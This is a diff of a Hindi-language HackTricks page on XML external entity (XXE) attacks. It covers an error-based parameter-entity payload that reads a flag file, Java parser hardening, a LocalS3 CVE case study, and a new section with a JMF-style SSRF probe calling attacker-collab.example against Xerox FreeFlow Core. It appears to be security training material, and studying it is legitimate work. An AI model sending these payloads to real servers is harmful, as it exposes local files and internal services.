* स्थानीय DTD को `<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">` के साथ लोड करता है।
|
||||
* स्थानीय DTD को लोड करता है `<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">` के साथ।
|
||||
* undefined entity को फिर से परिभाषित करता है ताकि यह:
|
||||
- लक्षित फ़ाइल को पढ़े (`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`)।
|
||||
- एक और parameter entity बनाए जो एक **invalid path** को संदर्भित करता है जिसमें `%flag;` मान होता है और एक पार्सर त्रुटि को ट्रिगर करता है (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`)।
|
||||
@ -727,7 +727,7 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
|
||||
<colors>&c;</colors>
|
||||
```
|
||||
#### Key takeaways
|
||||
* **Parameter entities** अभी भी libxml2 द्वारा विस्तारित होते हैं, भले ही `resolve_entities` XXE को ब्लॉक करना चाहिए।
|
||||
* **Parameter entities** अभी भी libxml2 द्वारा विस्तारित होते हैं जब `resolve_entities` XXE को ब्लॉक करना चाहिए।
|
||||
* एक **अमान्य URI** या **गैर-मौजूद फ़ाइल** नियंत्रित डेटा को फेंकी गई अपवाद में जोड़ने के लिए पर्याप्त है।
|
||||
* यह तकनीक **बिना आउटबाउंड कनेक्टिविटी** के काम करती है, जिससे यह सख्त ईग्रेस-फिल्टर्ड वातावरण के लिए आदर्श बनती है।
|
||||
|
||||
@ -763,9 +763,35 @@ dbf.setExpandEntityReferences(false);
|
||||
|
||||
DocumentBuilder builder = dbf.newDocumentBuilder();
|
||||
```
|
||||
यदि एप्लिकेशन को आंतरिक रूप से DTD का समर्थन करना है, तो `disallow-doctype-decl` को निष्क्रिय रखें लेकिन **हमेशा** दो `external-*-entities` सुविधाओं को `false` पर सेट रखें। यह संयोजन पारंपरिक फ़ाइल-प्रकटीकरण पेलोड (`file:///etc/passwd`) और नेटवर्क-आधारित SSRF वेक्टर (`http://169.254.169.254/…`, `jar:` प्रोटोकॉल, आदि) को रोकता है।
|
||||
यदि एप्लिकेशन को आंतरिक रूप से DTD का समर्थन करना चाहिए, तो `disallow-doctype-decl` को निष्क्रिय रखें लेकिन **हमेशा** दो `external-*-entities` सुविधाओं को `false` पर सेट रखें। यह संयोजन पारंपरिक फ़ाइल-प्रकटीकरण पेलोड (`file:///etc/passwd`) और नेटवर्क-आधारित SSRF वेक्टर (`http://169.254.169.254/…`, `jar:` प्रोटोकॉल, आदि) को रोकता है।
|
||||
|
||||
वास्तविक दुनिया का केस स्टडी: **CVE-2025-27136** Java S3 इम्यूलेटर *LocalS3* में उपरोक्त कमजोर कंस्ट्रक्टर का उपयोग किया गया। एक अनधिकृत हमलावर `CreateBucketConfiguration` एंडपॉइंट पर एक तैयार XML बॉडी प्रदान कर सकता था और सर्वर को स्थानीय फ़ाइलें (उदाहरण के लिए `/etc/passwd`) HTTP प्रतिक्रिया में एम्बेड करने के लिए मजबूर कर सकता था।
|
||||
वास्तविक दुनिया का केस अध्ययन: **CVE-2025-27136** में Java S3 इम्यूलेटर *LocalS3* ने ऊपर दिखाए गए कमजोर कंस्ट्रक्टर का उपयोग किया। एक अनधिकृत हमलावर `CreateBucketConfiguration` एंडपॉइंट पर एक तैयार XML बॉडी प्रदान कर सकता था और सर्वर को HTTP प्रतिक्रिया में स्थानीय फ़ाइलें (उदाहरण के लिए `/etc/passwd`) एम्बेड करने के लिए मजबूर कर सकता था।
|
||||
|
||||
### JMF/प्रिंट ऑर्केस्ट्रेशन सेवाओं में XXE → SSRF
|
||||
|
||||
कुछ प्रिंट वर्कफ़्लो/ऑर्केस्ट्रेशन प्लेटफ़ॉर्म एक नेटवर्क-फेसिंग जॉब मैसेजिंग फॉर्मेट (JMF) लिस्नर को उजागर करते हैं जो TCP पर XML स्वीकार करता है। यदि अंतर्निहित पार्सर `DOCTYPE` को स्वीकार करता है और बाहरी संस्थाओं को हल करता है, तो आप सर्वर को आउटबाउंड अनुरोध (SSRF) करने या स्थानीय संसाधनों तक पहुँचने के लिए पारंपरिक XXE का लाभ उठा सकते हैं।
|
||||
|
||||
जंगली में देखे गए प्रमुख बिंदु:
|
||||
- एक समर्पित पोर्ट (आमतौर पर Xerox FreeFlow Core में 4004) पर नेटवर्क लिस्नर (जैसे, JMF क्लाइंट)।
|
||||
- `disallow-doctype-decl` या एंटिटी समाधान निष्क्रिय किए बिना एक जार (जैसे, `jmfclient.jar`) के अंदर Java-आधारित XML पार्सिंग।
|
||||
- आउट-ऑफ-बैंड कॉलबैक विश्वसनीय रूप से शोषण की पुष्टि करते हैं।
|
||||
|
||||
न्यूनतम JMF-शैली SSRF प्रॉब (संरचना उत्पाद के अनुसार भिन्न होती है लेकिन DOCTYPE महत्वपूर्ण है):
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE JMF [
|
||||
<!ENTITY probe SYSTEM "http://attacker-collab.example/oob">
|
||||
]>
|
||||
<JMF SenderID="hacktricks" Version="1.3" TimeStamp="2025-08-13T10:10:10Z">
|
||||
<Query Type="KnownMessages">&probe;</Query>
|
||||
</JMF>
|
||||
```
|
||||
नोट्स:
|
||||
- अपने सहयोगी के साथ एंटिटी URL को बदलें। यदि SSRF संभव है, तो सर्वर संदेश को पार्स करते समय इसे हल करेगा।
|
||||
- देखने के लिए हार्डनिंग: `disallow-doctype-decl=true`, `external-general-entities=false`, `external-parameter-entities=false`।
|
||||
- भले ही JMF पोर्ट फ़ाइलें प्रदान न करे, SSRF को आंतरिक पुनः खोज के लिए या लोकलहोस्ट से बंधे प्रबंधन APIs तक पहुँचने के लिए श्रृंखलाबद्ध किया जा सकता है।
|
||||
|
||||
इस वेक्टर के लिए संदर्भ पृष्ठ के अंत में सूचीबद्ध हैं।
|
||||
|
||||
## संदर्भ
|
||||
|
||||
@ -782,5 +808,8 @@ DocumentBuilder builder = dbf.newDocumentBuilder();
|
||||
|
||||
- [Dojo CTF Challenge #42 – Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
|
||||
- [lxml bug #2107279 – Parameter-entity XXE still possible](https://bugs.launchpad.net/lxml/+bug/2107279)
|
||||
- [Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core XXE/SSRF + Path Traversal)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
|
||||
- [Xerox FreeFlow Core Security Guide (architecture/ports)](https://securitydocs.business.xerox.com/wp-content/uploads/2025/03/Security-Guide-Information-Assurance-Disclosure-Xerox-FreeFlow-Core-8.0.pdf)
|
||||
- [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user